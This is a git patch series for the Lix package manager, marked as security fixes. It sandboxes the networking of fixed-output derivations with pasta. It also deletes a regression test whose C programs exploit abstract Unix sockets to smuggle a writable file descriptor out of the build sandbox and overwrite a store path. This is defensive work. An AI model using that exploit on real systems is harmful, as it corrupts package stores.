+ #include "lix/libutil/strings.hh"
+ #include "lix/libutil/thread-name.hh"
++#include "platform/linux.hh"
+ 
+ #include <cstddef>
+ #include <exception>
+@@ -1073,7 +1076,7 @@ void LocalDerivationGoal::runChild()
+                 /* N.B. it is realistic that these paths might not exist. It
+                    happens when testing Nix building fixed-output derivations
+                    within a pure derivation. */
+-                for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" })
++                for (auto & path : { "/etc/services", "/etc/hosts" })
+                     if (pathExists(path)) {
+                         // Copy the actual file, not the symlink, because we don't know where
+                         // the symlink is pointing, and we don't want to chase down the entire
+@@ -1094,6 +1097,11 @@ void LocalDerivationGoal::runChild()
+                         copyFile(path, chrootRootDir + path, { .followSymlinks = true });
+                     }
+ 
++                if (pathExists("/etc/resolv.conf")) {
++                    const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
++                    writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
++                }
++
+                 if (settings.caFile != "" && pathExists(settings.caFile)) {
+                     // For the same reasons as above, copy the CA certificates file too.
+                     // It should be even less likely to change during the build than resolv.conf.
+@@ -1221,6 +1229,36 @@ void LocalDerivationGoal::runChild()
+             if (setuid(sandboxUid()) == -1)
+                 throw SysError("setuid failed");
+ 
++            if (runPasta) {
++                // wait for the pasta interface to appear. pasta can't signal us when
++                // it's done setting up the namespace, so we have to wait for a while
++                AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
++                if (!fd) throw SysError("cannot open IP socket");
++
++                struct ifreq ifr;
++                strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
++                // wait two minutes for the interface to appear. if it does not do so
++                // we are either grossly overloaded, or pasta startup failed somehow.
++                static constexpr int SINGLE_WAIT_US = 1000;
++                static constexpr int TOTAL_WAIT_US = 120'000'000;
++                for (unsigned tries = 0; ; tries++) {
++                    if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
++                        throw Error(
++                            "sandbox network setup timed out, please check daemon logs for "
++                            "possible error output."
++                        );
++                    } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
++                        if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
++                            break;
++                        }
++                    } else if (errno == ENODEV) {
++                        usleep(SINGLE_WAIT_US);
++                    } else {
++                        throw SysError("cannot get loopback interface flags");
++                    }
++                }
++            }
++
+             setUser = false;
+         }
+ #endif
+diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh
+index eb2fe50f3..a0031e141 100644
+--- a/lix/libstore/build/local-derivation-goal.hh
++++ b/lix/libstore/build/local-derivation-goal.hh
+@@ -285,6 +285,12 @@ struct LocalDerivationGoal : public DerivationGoal
+ protected:
+     using DerivationGoal::DerivationGoal;
+ 
++    /**
++     * Whether to run pasta for network-endowed derivations. Running pasta
++     * currently requires actively waiting for its net-ns setup to finish.
++     */
++    bool runPasta = false;
++
+     /**
+      * Setup dependencies outside the sandbox.
+      * Called in the parent nix process.
+@@ -294,6 +300,15 @@ protected:
+         throw Error("sandboxing builds is not supported on this platform");
+     };
+ 
++    /**
++     * Rewrite resolv.conf for use in the sandbox. Used in the linux platform
++     * to replace nameservers * when using pasta for fixed output derivations.
++     */
++    virtual std::string rewriteResolvConf(std::string fromHost)
++    {
++        return fromHost;
++    }
++
+     /**
+      * Create a new process that runs `openSlave` and `runChild`
+      * On some platforms this process is created with sandboxing flags.
+diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc
+index b4328b068..7fc4c6a21 100644
+--- a/lix/libstore/globals.cc
++++ b/lix/libstore/globals.cc
+@@ -87,6 +87,9 @@ Settings::Settings()
+ #if defined(__linux__) && defined(SANDBOX_SHELL)
+     sandboxPaths.setDefault(tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL));
+ #endif
++#if defined(__linux__) && defined(PASTA_PATH)
++    pastaPath.setDefault(PASTA_PATH);
++#endif
+ 
+     /* chroot-like behavior from Apple's sandbox */
+ #if __APPLE__
+diff --git a/lix/libstore/meson.build b/lix/libstore/meson.build
+index e59ae01b5..628ec1e55 100644
+--- a/lix/libstore/meson.build
++++ b/lix/libstore/meson.build
+@@ -82,6 +82,7 @@ libstore_setting_definitions = files(
+   'settings/narinfo-cache-negative-ttl.md',
+   'settings/narinfo-cache-positive-ttl.md',
+   'settings/netrc-file.md',
++  'settings/pasta-path.md',
+   'settings/plugin-files.md',
+   'settings/post-build-hook.md',
+   'settings/pre-build-hook.md',
+@@ -326,6 +327,12 @@ elif busybox.found()
+   }
+ endif
+ 
++if pasta.found()
++  cpp_str_defines += {
++    'PASTA_PATH': pasta.full_path(),
++  }
++endif
++
+ cpp_args = []
+ 
+ foreach name, value : cpp_str_defines
+diff --git a/lix/libstore/platform/linux.cc b/lix/libstore/platform/linux.cc
+index f8b721475..722135081 100644
+--- a/lix/libstore/platform/linux.cc
++++ b/lix/libstore/platform/linux.cc
+@@ -1,16 +1,25 @@
+ #include "lix/libstore/build/worker.hh"
+ #include "lix/libutil/cgroup.hh"
++#include "lix/libutil/file-descriptor.hh"
++#include "lix/libutil/file-system.hh"
+ #include "lix/libutil/finally.hh"
+ #include "lix/libstore/gc-store.hh"
++#include "lix/libutil/processes.hh"
+ #include "lix/libutil/signals.hh"
+ #include "lix/libstore/platform/linux.hh"
+ #include "lix/libutil/regex.hh"
+ #include "lix/libutil/strings.hh"
+ 
++#include <csignal>
++#include <cstdlib>
+ #include <grp.h>
+ #include <regex>
+ #include <sys/prctl.h>
+ 
++#if __linux__
++#include <linux/capability.h>
++#endif
++
+ #if HAVE_SECCOMP
+ #include <linux/filter.h>
+ #include <sys/syscall.h>
+@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
+     }
+ }
+ 
++LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
++{
++    // pasta being left around mostly happens when builds are aborted
++    if (pastaPid) {
++        pastaPid.kill();
++    }
++}
++
+ void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
+ {
+     auto procDir = AutoCloseDir{opendir("/proc")};
+@@ -859,6 +876,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
+     }
+ }
+ 
++std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
++{
++    if (!runPasta) {
++        return fromHost;
++    }
++
++    static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
++    static auto lineRegex = regex::parse("^nameserver\\s.*$", flags);
++    static auto v4Regex = regex::parse("^nameserver\\s+\\d{1,3}\\.", flags);
++    static auto v6Regex = regex::parse("^nameserver.*:", flags);
++    std::string nsInSandbox = "\n";
++    if (std::regex_search(fromHost, v4Regex)) {
++        nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
++    }
++    if (std::regex_search(fromHost, v6Regex)) {
++        nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
++    }
++    return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
++}
++
+ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
+ {
+ #if HAVE_SECCOMP
+@@ -886,9 +923,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
+ 
+        - The private network namespace ensures that the builder
+          cannot talk to the outside world (or vice versa).  It
+-         only has a private loopback interface. (Fixed-output
+-         derivations are not run in a private network namespace
+-         to allow functions like fetchurl to work.)
++         only has a private loopback interface. If a copy of
++         `pasta` is available, Fixed-output derivations are run
++         inside a private network namespace with internet
++         access, otherwise they are run in the host's network
++         namespace, to allow functions like fetchurl to work.
+ 
+        - The IPC namespace prevents the builder from communicating
+          with outside processes using SysV IPC mechanisms (shared
+@@ -909,6 +948,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
+     if (derivationType->isSandboxed())
+         privateNetwork = true;
+ 
++    // don't launch pasta unless we have a tun device. in a build sandbox we
++    // commonly do not, and trying to run pasta anyway naturally won't work.
++    runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
++
+     userNamespaceSync.create();
+ 
+     Pipe sendPid;
+@@ -933,7 +976,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
+ 
+         ProcessOptions options;
+         options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
+-        if (privateNetwork)
++        // we always want to create a new network namespace for pasta, even when
++        // we can't actually run it. not doing so hides bugs and impairs purity.
++        if (settings.pastaPath != "" || privateNetwork)
+             options.cloneFlags |= CLONE_NEWNET;
+         if (usingUserNamespace)
+             options.cloneFlags |= CLONE_NEWUSER;
+@@ -1004,6 +1049,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
+     /* Signal the builder that we've updated its user namespace. */
+     writeFull(userNamespaceSync.writeSide.get(), "1");
+ 
++    if (runPasta) {
++        // Bring up pasta, for handling FOD networking. We don't let it daemonize
++        // itself for process managements reasons and kill it manually when done.
++
++        // TODO add a new sandbox mode flag to disable all or parts of this?
++        Strings args = {
++            // clang-format off
++            "--quiet",
++            "--foreground",
++            "--config-net",
++            "--gateway", PASTA_HOST_IPV4,
++            "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
++            "--dns-forward", PASTA_HOST_IPV4,
++            "--gateway", PASTA_HOST_IPV6,
++            "--address", PASTA_CHILD_IPV6,
++            "--dns-forward", PASTA_HOST_IPV6,
++            "--ns-ifname", PASTA_NS_IFNAME,
++            "--no-netns-quit",
++            "--netns", "/proc/self/fd/0",
++            // clang-format on
++        };
++
++        AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
++        if (!netns) {
++            throw SysError("failed to open netns");
++        }
++
++        AutoCloseFD userns;
++        if (usingUserNamespace) {
++            userns =
++                AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
++            if (!userns) {
++                throw SysError("failed to open userns");
++            }
++            args.push_back("--userns");
++            args.push_back("/proc/self/fd/1");
++        }
++
++        // FIXME ideally we want a notification when pasta exits, but we cannot do
++        // this at present. without such support we need to busy-wait for pasta to
++        // set up the namespace completely and time out after a while for the case
++        // of pasta launch failures. pasta logs go to syslog only for now as well.
++        pastaPid = runProgram2({
++            .program = settings.pastaPath,
++            .args = args,
++            .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
++            .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
++            // TODO these redirections are crimes. pasta closes all non-stdio file
++            // descriptors very early and lacks fd arguments for the namespaces we
++            // want it to join. we cannot have pasta join the namespaces via pids;
++            // doing so requires capabilities which pasta *also* drops very early.
++            .redirections = {
++                {.from = 0, .to = netns.get()},
++                {.from = 1, .to = userns ? userns.get() : 1},
++            },
++            .caps = getuid() == 0
++                ? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
++                : std::set<long>{},
++        });
++    }
++
+     return pid;
+ }
+ 
+@@ -1050,5 +1156,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
+            This avoids processes unrelated to the build being killed, thus avoiding: https://git.lix.systems/lix-project/lix/issues/667 */
+         LocalDerivationGoal::killSandbox(getStats);
+     }
++
++    if (pastaPid) {
++        // FIXME we really want to send SIGTERM instead and wait for pasta to exit,
++        // but we do not have the infra for that right now. we send SIGKILL instead
++        // and treat exiting with that as a successful exit code until such a time.
++        // this is not likely to cause problems since pasta runs as the build user,
++        // but not inside the build sandbox. if it's killed it's either due to some
++        // external influence (in which case the sandboxed child will probably fail
++        // due to network errors, if it used the network at all) or some bug in lix
++        if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
++            if (WIFSIGNALED(status)) {
++                throw Error("pasta killed by signal %i", WTERMSIG(status));
++            } else if (WIFEXITED(status)) {
++                throw Error("pasta exited with code %i", WEXITSTATUS(status));
++            } else {
++                throw Error("pasta exited with status %i", status);
++            }
++        }
++    }
+ }
+ }
+diff --git a/lix/libstore/platform/linux.hh b/lix/libstore/platform/linux.hh
+index 9dba7f1de..47e33f240 100644
+--- a/lix/libstore/platform/linux.hh
++++ b/lix/libstore/platform/linux.hh
+@@ -4,6 +4,7 @@
+ #include "lix/libstore/build/local-derivation-goal.hh"
+ #include "lix/libstore/gc-store.hh"
+ #include "lix/libstore/local-store.hh"
++#include "lix/libutil/processes.hh"
+ 
+ namespace nix {
+ 
+@@ -33,6 +34,20 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
+ public:
+     using LocalDerivationGoal::LocalDerivationGoal;
+ 
++    ~LinuxLocalDerivationGoal();
++
++    // NOTE these are all C strings because macos doesn't have constexpr std::string
++    // constructors, and std::string_view is a pain to turn into std::strings again.
++    static constexpr const char * PASTA_NS_IFNAME = "eth0";
++    static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
++    static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
++    static constexpr const char * PASTA_IPV4_NETMASK = "16";
++    // randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
++    // even if this id is used on the daemon host there should not be
++    // any collisions since ipv4ll should never be addressed by ipv6.
++    static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
++    static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
++
+ private:
+     /*
+      * Destroy the cgroup otherwise another build
+@@ -41,6 +56,8 @@ private:
+      */
+     void cleanupHookFinally() override;
+ 
++    RunningProgram pastaPid;
++
+     /**
+      * Create and populate chroot
+      */
+@@ -68,6 +85,7 @@ private:
+         return true;
+     }
+ 
++    std::string rewriteResolvConf(std::string fromHost) override;
+ };
+ 
+ }
+diff --git a/lix/libstore/settings/pasta-path.md b/lix/libstore/settings/pasta-path.md
+new file mode 100644
+index 000000000..1df3600df
+--- /dev/null
++++ b/lix/libstore/settings/pasta-path.md
+@@ -0,0 +1,10 @@
++---
++name: pasta-path
++internalName: pastaPath
++type: Path
++default: ""
++---
++If set to an absolute path, enables fully sandboxing fixed-output
++derivations, by using `pasta` to pass network traffic between the
++private network namespace. This allows for greater levels of isolation
++of builds to the host.
+diff --git a/meson.build b/meson.build
+index 92b4c05ec..adcea1142 100644
+--- a/meson.build
++++ b/meson.build
+@@ -452,6 +452,13 @@ configdata += {
+   'HAVE_DTRACE': dtrace_feature.enabled().to_int(),
+ }
+ 
++pasta_path = get_option('pasta-path')
++# we can't check the pasta version because passt misuses stdio (it calls _exit()
++# after printing the version, which will never print the version unless run from
++# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
++# we *will* enable it in our own packaging, but distributions are not forced to.
++pasta = find_program(pasta_path, required : false, native : false)
++
+ lsof = find_program('lsof', native : true)
+ 
+ # This is how Nix does generated headers...
+diff --git a/meson.options b/meson.options
+index 8d5eed0bc..50caa32c4 100644
+--- a/meson.options
++++ b/meson.options
+@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
+   description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
+ )
+ 
++option('pasta-path', type : 'string', value : 'pasta',
++  description : 'path to the location of pasta (provided by passt)',
++)
++
+ option('enable-tests', type : 'boolean', value : true,
+   description : 'whether to enable tests or not (requires rapidcheck and gtest)',
+ )
+diff --git a/misc/passt.nix b/misc/passt.nix
+new file mode 100644
+index 000000000..3c0c633fa
+--- /dev/null
++++ b/misc/passt.nix
+@@ -0,0 +1,64 @@
++{
++  lib,
++  stdenv,
++  buildPackages,
++  fetchurl,
++  getconf,
++  gitUpdater,
++  testers,
++}:
++
++stdenv.mkDerivation (finalAttrs: {
++  pname = "passt";
++  version = "2025_02_17.a1e48a0";
++
++  src = fetchurl {
++    url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
++    hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
++  };
++
++  postPatch = ''
++    substituteInPlace Makefile --replace-fail \
++      'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
++      "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
++  '';
++
++  makeFlags = [
++    "prefix=${placeholder "out"}"
++    "VERSION=${finalAttrs.version}"
++  ];
++
++  passthru = {
++    tests.version = testers.testVersion {
++      package = finalAttrs.finalPackage;
++    };
++
++    updateScript = gitUpdater {
++      url = "https://passt.top/passt";
++    };
++  };
++
++  meta = with lib; {
++    homepage = "https://passt.top/passt/about/";
++    description = "Plug A Simple Socket Transport";
++    longDescription = ''
++      passt implements a translation layer between a Layer-2 network interface
++      and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
++      It doesn't require any capabilities or privileges, and it can be used as
++      a simple replacement for Slirp.
++
++      pasta (same binary as passt, different command) offers equivalent
++      functionality, for network namespaces: traffic is forwarded using a tap
++      interface inside the namespace, without the need to create further
++      interfaces on the host, hence not requiring any capabilities or
++      privileges.
++    '';
++    license = [
++      licenses.bsd3 # and
++      licenses.gpl2Plus
++    ];
++    platforms = platforms.linux;
++    maintainers = with maintainers; [ _8aed ];
++    mainProgram = "passt";
++  };
++})
+diff --git a/package.nix b/package.nix
+index 3a2e08c8c..f1fd1b1f9 100644
+--- a/package.nix
++++ b/package.nix
+@@ -45,6 +45,8 @@
+   ninja,
+   ncurses,
+   openssl,
++  # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
++  passt-lix ? __forDefaults.passt-lix,
+   pegtl,
+   pkg-config,
+   python3,
+@@ -116,6 +118,8 @@
+     # needs derivation patching to add debuginfo and coroutine library support
+     # !! must build this with clang as it is affected by the gcc coroutine bugs
+     capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; };
++
++    passt-lix = callPackage ./misc/passt.nix { };
+   },
+ }:
+ 
+@@ -249,6 +253,7 @@ stdenv.mkDerivation (finalAttrs: {
+       # which don't actually get added to PATH. And buildInputs is correct over
+       # nativeBuildInputs since this should be a busybox executable on the host.
+       "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
++      "-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
+     ]
+     ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
+     ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
+@@ -334,6 +339,7 @@ stdenv.mkDerivation (finalAttrs: {
+     ++ lib.optionals hostPlatform.isLinux [
+       libseccomp
+       busybox-sandbox-shell
++      passt-lix
+     ]
+     ++ lib.optionals (
+       stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0"
+diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
+deleted file mode 100644
+index a6ae72adc..000000000
+--- a/tests/nixos/ca-fd-leak/default.nix
++++ /dev/null
+@@ -1,90 +0,0 @@
+-# Nix is a sandboxed build system. But Not everything can be handled inside its
+-# sandbox: Network access is normally blocked off, but to download sources, a
+-# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
+-# The detail here is not important, but in our case it means that the hash of
+-# the output has to be known beforehand. And if you know that, you get a few
+-# rights: you no longer run inside a special network namespace!
+-#
+-# Now, Linux has a special feature, that not many other unices do: Abstract
+-# unix domain sockets! Not only that, but those are namespaced using the
+-# network namespace! That means that we have a way to create sockets that are
+-# available in every single fixed-output derivation, and also all processes
+-# running on the host machine! Now, this wouldn't be that much of an issue, as,
+-# well, the whole idea is that the output is pure, and all processes in the
+-# sandbox are killed before finalizing the output. What if we didn't need those
+-# processes at all? Unix domain sockets have a semi-known trick: you can pass
+-# file descriptors around!
+-# This makes it possible to exfiltrate a file-descriptor with write access to
+-# $out outside of the sandbox. And that file-descriptor can be used to modify
+-# the contents of the store path after it has been registered.
+-
+-{ config, ... }:
+-
+-let
+-  pkgs = config.nodes.machine.nixpkgs.pkgs;
+-
+-  # Simple C program that sends a a file descriptor to `$out` to a Unix
+-  # domain socket.
+-  # Compiled statically so that we can easily send it to the VM and use it
+-  # inside the build sandbox.
+-  sender = pkgs.runCommandWith {
+-    name = "sender";
+-    stdenv = pkgs.pkgsStatic.stdenv;
+-  } ''
+-    $CC -static -o $out ${./sender.c}
+-  '';
+-
+-  # Okay, so we have a file descriptor shipped out of the FOD now. But the
+-  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
+-  # lives in a mount namespace where it is not! So even when this file exists
+-  # in the actual Nix store, we're capable of just modifying its contents...
+-  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
+-
+-  # The abstract socket path used to exfiltrate the file descriptor
+-  socketName = "FODSandboxExfiltrationSocket";
+-in
+-{
+-  name = "ca-fd-leak";
+-
+-  nodes.machine =
+-    { config, lib, pkgs, ... }:
+-    { virtualisation.writableStore = true;
+-      nix.settings.substituters = lib.mkForce [ ];
+-      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
+-    };
+-
+-  testScript = { nodes }: ''
+-    start_all()
+-
+-    machine.succeed("echo hello")
+-    # Start the smuggler server
+-    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
+-
+-    # Build the smuggled derivation.
+-    # This will connect to the smuggler server and send it the file descriptor
+-    machine.succeed(r"""
+-      nix-build -E '
+-        builtins.derivation {
+-          name = "smuggled";
+-          system = builtins.currentSystem;
+-          # look ma, no tricks!
+-          outputHashMode = "flat";
+-          outputHashAlgo = "sha256";
+-          outputHash = builtins.hashString "sha256" "hello, world\n";
+-          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
+-          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
+-      }'
+-    """.strip())
+-
+-
+-    # Tell the smuggler server that we're done
+-    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+-
+-    # Check that the file was not modified
+-    machine.succeed(r"""
+-      cat ./result
+-      test "$(cat ./result)" = "hello, world"
+-    """.strip())
+-  '';
+-
+-}
+diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
+deleted file mode 100644
+index 75e54fc8f..000000000
+--- a/tests/nixos/ca-fd-leak/sender.c
++++ /dev/null
+@@ -1,65 +0,0 @@
+-#include <sys/socket.h>
+-#include <sys/un.h>
+-#include <stdlib.h>
+-#include <stddef.h>
+-#include <stdio.h>
+-#include <unistd.h>
+-#include <fcntl.h>
+-#include <errno.h>
+-#include <string.h>
+-#include <assert.h>
+-
+-int main(int argc, char **argv) {
+-
+-    assert(argc == 2);
+-
+-    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+-
+-    // Set up a abstract domain socket path to connect to.
+-    struct sockaddr_un data;
+-    data.sun_family = AF_UNIX;
+-    data.sun_path[0] = 0;
+-    strcpy(data.sun_path + 1, argv[1]);
+-
+-    // Now try to connect, To ensure we work no matter what order we are
+-    // executed in, just busyloop here.
+-    int res = -1;
+-    while (res < 0) {
+-        res = connect(sock, (const struct sockaddr *)&data,
+-            offsetof(struct sockaddr_un, sun_path)
+-              + strlen(argv[1])
+-              + 1);
+-        if (res < 0 && errno != ECONNREFUSED) perror("connect");
+-        if (errno != ECONNREFUSED) break;
+-    }
+-
+-    // Write our message header.
+-    struct msghdr msg = {0};
+-    msg.msg_control = malloc(128);
+-    msg.msg_controllen = 128;
+-
+-    // Write an SCM_RIGHTS message containing the output path.
+-    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+-    hdr->cmsg_len = CMSG_LEN(sizeof(int));
+-    hdr->cmsg_level = SOL_SOCKET;
+-    hdr->cmsg_type = SCM_RIGHTS;
+-    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
+-    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+-
+-    msg.msg_controllen = CMSG_SPACE(sizeof(int));
+-
+-    // Write a single null byte too.
+-    msg.msg_iov = malloc(sizeof(struct iovec));
+-    msg.msg_iov[0].iov_base = "";
+-    msg.msg_iov[0].iov_len = 1;
+-    msg.msg_iovlen = 1;
+-
+-    // Send it to the othher side of this connection.
+-    res = sendmsg(sock, &msg, 0);
+-    if (res < 0) perror("sendmsg");
+-    int buf;
+-
+-    // Wait for the server to close the socket, implying that it has
+-    // received the commmand.
+-    recv(sock, (void *)&buf, sizeof(int), 0);
+-}
+diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
+deleted file mode 100644
+index 82acf37e6..000000000
+--- a/tests/nixos/ca-fd-leak/smuggler.c
++++ /dev/null
+@@ -1,66 +0,0 @@
+-#include <sys/socket.h>
+-#include <sys/un.h>
+-#include <stdlib.h>
+-#include <stddef.h>
+-#include <stdio.h>
+-#include <unistd.h>
+-#include <assert.h>
+-
+-int main(int argc, char **argv) {
+-
+-    assert(argc == 2);
+-
+-    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+-
+-    // Bind to the socket.
+-    struct sockaddr_un data;
+-    data.sun_family = AF_UNIX;
+-    data.sun_path[0] = 0;
+-    strcpy(data.sun_path + 1, argv[1]);
+-    int res = bind(sock, (const struct sockaddr *)&data,
+-        offsetof(struct sockaddr_un, sun_path)
+-        + strlen(argv[1])
+-        + 1);
+-    if (res < 0) perror("bind");
+-
+-    res = listen(sock, 1);
+-    if (res < 0) perror("listen");
+-
+-    int smuggling_fd = -1;
+-
+-    // Accept the connection a first time to receive the file descriptor.
+-    fprintf(stderr, "%s\n", "Waiting for the first connection");
+-    int a = accept(sock, 0, 0);
+-    if (a < 0) perror("accept");
+-
+-    struct msghdr msg = {0};
+-    msg.msg_control = malloc(128);
+-    msg.msg_controllen = 128;
+-
+-    // Receive the file descriptor as sent by the smuggler.
+-    recvmsg(a, &msg, 0);
+-
+-    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+-    while (hdr) {
+-        if (hdr->cmsg_level == SOL_SOCKET
+-          && hdr->cmsg_type == SCM_RIGHTS) {
+-
+-            // Grab the copy of the file descriptor.
+-            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
+-        }
+-
+-        hdr = CMSG_NXTHDR(&msg, hdr);
+-    }
+-    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
+-    close(a);
+-
+-    // Wait for a second connection, which will tell us that the build is
+-    // done
+-    a = accept(sock, 0, 0);
+-    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
+-    // Write a new content to the file
+-    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
+-    char * new_content = "Pwned\n";
+-    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
+-    if (written_bytes != strlen(new_content)) perror("write");
+-}
+diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
+index 474b4ad64..2ad0923e1 100644
+--- a/tests/nixos/default.nix
++++ b/tests/nixos/default.nix
+@@ -160,8 +160,6 @@ in
+     ["i686-linux" "x86_64-linux"]
+     (system: runNixOSTestFor system ./setuid/setuid.nix);
+ 
+-  ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
+-
+   fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
+ 
+   symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
+diff --git a/tests/nixos/fetchurl.nix b/tests/nixos/fetchurl.nix
+index 719405be5..1626e1c03 100644
+--- a/tests/nixos/fetchurl.nix
++++ b/tests/nixos/fetchurl.nix
+@@ -52,7 +52,7 @@ in
+ 
+       security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
+ 
+-      networking.hosts."127.0.0.1" = [ "good" "bad" ];
++      networking.hosts."192.168.1.1" = [ "good" "bad" ];
+ 
+       virtualisation.writableStore = true;
+ 
+-- 
+2.49.0
+
+
+From 05eba34893122d395774b4ee5eaf4c03ae588ea0 Mon Sep 17 00:00:00 2001
+From: eldritch horrors <pennae@lix.systems>
+Date: Sun, 30 Mar 2025 16:45:34 +0200
+Subject: [SECURITY FIX 11/12] libstore: don't default build-dir to temp-dir
+
+if a build directory is accessible to other users it is possible to
+smuggle data in and out of build directories. usually this ins only
+a build purity problem, but in combination with other issues it can
+be used to break out of a build sandbox. to prevent this we default
+to using a subdirectory of nixStateDir (which is more restrictive).
+
+Change-Id: Iacfc9b50534de158618c815f9fb99d7dae1be4d0
+---
+ doc/manual/rl-next/build-dir-mandatory.md     | 12 +++++++++++
+ lix/libstore/build/local-derivation-goal.cc   |  4 +++-
+ lix/libstore/settings/build-dir.md            | 18 ++++++++++++----
+ misc/systemd/nix-daemon.conf.in               |  3 ++-
+ .../build-remote-trustless-should-fail-0.sh   |  1 -
+ tests/functional/build-remote-trustless.sh    |  1 -
+ tests/functional/build-remote.sh              |  1 -
+ tests/functional/check.sh                     | 21 -------------------
+ tests/functional/supplementary-groups.sh      |  1 -
+ 9 files changed, 31 insertions(+), 31 deletions(-)
+ create mode 100644 doc/manual/rl-next/build-dir-mandatory.md
+
+diff --git a/doc/manual/rl-next/build-dir-mandatory.md b/doc/manual/rl-next/build-dir-mandatory.md
+new file mode 100644
+index 000000000..6f69bbba3
+--- /dev/null
++++ b/doc/manual/rl-next/build-dir-mandatory.md
+@@ -0,0 +1,12 @@
++---
++synopsis: "`build-dir` no longer defaults to `temp-dir`"
++cls: []
++category: "Fixes"
++credits: [horrors]
++---
++
